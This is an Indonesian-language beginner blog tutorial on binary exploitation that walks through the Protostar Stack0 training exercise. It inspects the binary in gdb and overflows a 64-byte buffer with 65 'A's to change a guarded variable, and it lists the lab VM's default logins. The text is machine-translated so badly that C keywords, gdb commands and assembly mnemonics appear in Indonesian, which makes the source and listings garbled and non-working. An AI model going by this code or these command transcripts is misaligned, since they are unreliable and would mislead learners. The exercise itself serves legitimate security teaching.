Binary Exploitation
oke gais masih dengan CaD3L disini nah sekarang urang mau ngasih materi nih gais tentang yaitu adalah Binary Exploitation nah jadi seperti biasa musik ada di bawah dan selamat belajar dan cekicrottttttttttt
Tertarik dengan eksploitasi biner? Maka selamat datang di panduan pemula yang sangat rinci dan pengantar untuk membantu Anda memulai perjalanan Anda dalam eksploitasi biner!
Protobintang dari Latihan Eksploitasi memperkenalkan masalah kerusakan memori dasar seperti buffer overflows, string format, dan eksploitasi heap di bawah sistem Linux "gaya lama" yang tidak mengaktifkan sistem mitigasi eksploitasi modern apa pun.
Setelah itu kita bisa beralih ke latihan yang lebih sulit. Mari kita mulai dengan Stack0.
Pertama-tama, kami mengambil kode dari Stack0:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
int main (int argc, char ** argv)
{
volatile int dimodifikasi;
penyangga char [64];
dimodifikasi = 0;
mendapat (buffer);
jika (dimodifikasi! = 0) {
printf ("Anda telah mengubah variabel 'diubah' \ n");
} lain {
printf ("Coba lagi? \ n");
}
}
Jika kalian sudah familiar dengan dasar-dasar C, Anda dapat melewati bagian ini di sini.
Yok kita uraiin Code di atas Yokkkk
Pada tiga baris pertama kita bisa melihat beberapa file header. Seperti yang dikatakan tutorialspoint:
File header adalah file dengan ekstensi .h yang berisi deklarasi fungsi C dan definisi makro untuk dibagikan di antara beberapa file sumber. Ada dua jenis file header: file yang ditulis oleh programmer dan file yang disertakan dengan kompiler Anda.
argc adalah singkatan dari "Argument Count". Jumlah parameter akan disimpan di parameter argc. Mari kita lakukan contoh:
#include <stdio.h>
int main (int argc, char * argv []) {
printf ("argc =% d \ n", argc);
kembali 0;
}
Jika sekarang kita mengkompilasi program ini dengan gcc PROGRAM.c -o mengkompilasi dan menjalankannya dengan dua argumen (seperti ./compiled WOW) maka seharusnya kita mengembalikan argc = 2, karena kita memasukkan dua hal.
Lanjutan
Eksploitasi
Pertama-tama kita perlu mengunduh gambar-Protobintang. Kemudian kita bisa masuk ke mesin itu dengan ssh. Nama pengguna: pengguna / Kata sandi: pengguna.
$ ssh pengguna@192.168.0.55
PPPP RRRR OOO TTTTT OOO SSSS TTTTT A RRRR
P P R R O O T O O S T A A R R
PPPP RRRR O O T O O SSS T AAAAA RRRR
P R R O O T O O S T A A R R
P R R OOO T OOO SSSS T A A R R
http://exploit-exercises.com/protostar
Selamat datang di Protostar. Untuk masuk, Anda dapat menggunakan akun pengguna / pengguna.
Saat Anda perlu menggunakan akun root, Anda dapat masuk sebagai root / godmode.
Untuk deskripsi level / bantuan lebih lanjut, silakan lihat url di atas.
Program yang disertakan dengan sistem Debian GNU / Linux adalah perangkat lunak bebas;
istilah distribusi yang tepat untuk setiap program dijelaskan di
file individual di /usr/share/doc/*/ copyright.
Debian GNU / Linux hadir dengan BENAR-BENAR TANPA JAMINAN, sejauh ini
diizinkan oleh hukum yang berlaku.
Terakhir masuk: Sen 17 Sep 13:38:12 2018 dari 192.168.0.54
$
File kami terletak di / opt / protostar / bin. Ayo jalankan sekali:
pengguna@protostar: ~ $ / opt / protostar / bin / stack0
AAAA
Coba lagi?
Kode tersebut melompat ke pernyataan lain dan mencetak "Coba lagi?". Tujuan utama kami adalah untuk memodifikasi variabel yang dimodifikasi dan mendapatkan output: "Anda telah mengubah variabel 'diubah'".
Sekarang mari buka stack0 di gdb dengan: gdb /opt/protostar/bin/stack0.
pengguna@protostar: ~ $ gdb /opt/protostar/bin/stack0
Membaca simbol dari /opt/protostar/bin/stack0...done.
(gdb)
Lanjutan
Sekarang kita dapat membongkar fungsi utama:
(gdb) bongkar main
Buang kode assembler untuk fungsi utama:
0x080483f4 <main + 0>: dorong ebp
0x080483f5 <main + 1>: mov ebp, esp
0x080483f7 <main + 3>: dan esp, 0xfffffff0
0x080483fa <main + 6>: sub esp, 0x60
0x080483fd <main + 9>: mov DWORD PTR [esp + 0x5c], 0x0
0x08048405 <main + 17>: lea eax, [esp + 0x1c]
0x08048409 <main + 21>: mov DWORD PTR [esp], eax
0x0804840c <main + 24>: hubungi 0x804830c <gets @ plt>
0x08048411 <main + 29>: mov eax, DWORD PTR [esp + 0x5c]
0x08048415 <main + 33>: test eax, eax
0x08048417 <main + 35>: je 0x8048427 <main + 51>
0x08048419 <main + 37>: mov DWORD PTR [esp], 0x8048500
0x08048420 <main + 44>: call 0x804832c <put @ plt>
0x08048425 <main + 49>: jmp 0x8048433 <main + 63>
0x08048427 <main + 51>: mov DWORD PTR [esp], 0x8048529
0x0804842e <main + 58>: call 0x804832c <put @ plt>
0x08048433 <main + 63>: pergi
0x08048434 <main + 64>: ret
Empat baris pertama pembongkaran tidak terlalu menarik.
Baris pertama yang menarik adalah baris kelima. Baris ini memindahkan nilai 0x0 ke alamat memori $esp + 0x5c
0x080483fd <main + 9>: mov DWORD PTR [esp + 0x5c], 0x0
Ini adalah variabel yang dimodifikasi karena alamat memori tersebut diperiksa di kemudian hari untuk melihat apakah itu disetel ke 0 menggunakan tes $eax, $eax.
Beberapa baris berikutnya mengatakan bahwa buffer array dimulai pada alamat memori $esp + 0x1c.
Lanjutan
0x08048405 <main + 17>: lea 0x1c (% esp),% eax
0x08048409 <main + 21>: mov% eax, (% esp)
0x0804840c <main + 24>: hubungi 0x804830c <gets @ plt>
Mengingat bahwa 0x5c - 0x1c adalah 64 byte, kita melihat bahwa buffer dan modifikasi dialokasikan tepat di samping satu sama lain di stack.
Kita dapat memodifikasi variabel yang dimodifikasi dengan menulis melewati ruang yang dialokasikan untuk buffer. Yang disebut buffer overflow. Kami menetapkan breakpoint di * 0x080483fd, karena di sana variabel yang dimodifikasi disetel ke 0.
(gdb) break * 0x80483fd
Breakpoint 1 di 0x80483fd: file stack0 / stack0.c, baris 10.
Sekarang mari kita jalankan programnya.
(gdb) r
Memulai program: / opt / protostar / bin / stack0
Breakpoint 1, main (argc = 1, argv = 0xbffffd64) di stack0 / stack0.c: 10
10 stack0 / stack0.c: File atau direktori tersebut tidak ada.
di stack0 / stack0.c
(gdb) selanjutnya
11 dalam stack0 / stack0.c
(gdb) selanjutnya
AAAAAAAAAAAAAAAAAAAAAAAA
13 dalam stack0 / stack0.c
Jika Anda telah mengetik dua kali berikutnya program menunggu masukan, jadi kami mengetikkan beberapa huruf kapital A.
Variabel disimpan dalam tumpukan. Artinya, sekarang kami dapat melihatnya. Untuk melakukannya, kita dapat menggunakan perintah ini x /40x $ esp. Mari kita analisis. Huruf x artinya output yang akan di print dalam format hexadecimal, 40 adalah jumlah elemen yang ingin kita print dan $esp adalah nama register yang ingin kita gunakan.
(gdb) x / 40xw $ esp
0xbffff770: 0xbffff78c 0x00000001 0xb7fff8f8 0xb7f0186e
0xbffff780: 0xb7fd7ff4 0xb7ec6165 0xbffff798 0x41414141
0xbffff790: 0x41414141 0x41414141 0x414141 0x080482e8
0xbffff7a0: 0xb7ff1040 0x08049620 0xbffff7d8 0x08048469
0xbffff7b0: 0xb7fd8304 0xb7fd7ff4 0x08048450 0xbffff7d8
0xbffff7c0: 0xb7ec6365 0xb7ff1040 0x0804845b 0x00000000
0xbffff7d0: 0x08048450 0x00000000 0xbffff858 0xb7eadc76
0xbffff7e0: 0x00000001 0xbffff884 0xbffff88c 0xb7fe1848
0xbffff7f0: 0xbffff840 0xffffffff 0xb7ffeff4 0x0804824b
0xbffff800: 0x00000001 0xbffff840 0xb7ff0626 0xb7fffab0
Lihat banyaknya angka 0x41 yang disimpan di memori. 41 adalah heksadesimal dan memiliki nilai A. Kita juga dapat melihat nilai 0x00, yang berarti ada variabel modifikasi yang sedang disimpan.
Lanjutan (Akhir)
Mari mencapai variabelnya!
Jadi, satu blok 0x41414141 menyimpan 4 A. Ada 16 blok. 4 * 16 adalah 64. + 1 untuk menulis ke variabel yang dimodifikasi. Ayo lakukan itu:
pengguna@protostar: echo `python -c" print 'A' * 65 "` | /opt/protostar/bin/stack0
Anda telah mengubah variabel 'diubah'
Dan kami telah mengubah variabel kami!
Dengan python kita cukup mencetak huruf 65 A dan menyalurkannya ke biner kita. Secara visual akan terlihat seperti ini:
0xbffff770: 0xbffff78c 0x00000001 0xb7fff8f8 0xb7f0186e
0xbffff780: 0xb7fd7ff4 0xb7ec6165 0xbffff798 0x41414141
0xbffff790: 0x41414141 0x41414141 0x414141 0x41414141
0xbffff7a0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff7b0: 0x41414141 0x41414141 0x41414141 0x41414141
0xbffff7c0: 0x41414141 0x41414141 0x41414141 0x00000041
0xbffff7d0: 0x08048450 0x00000000 0xbffff858 0xb7eadc76
0xbffff7e0: 0x00000001 0xbffff884 0xbffff88c 0xb7fe1848
0xbffff7f0: 0xbffff840 0xffffffff 0xb7ffeff4 0x0804824b
0xbffff800: 0x00000001 0xbffff840 0xb7ff0626 0xb7fffab0
Sekian Semoga Bermanfaat.
Posting Komentar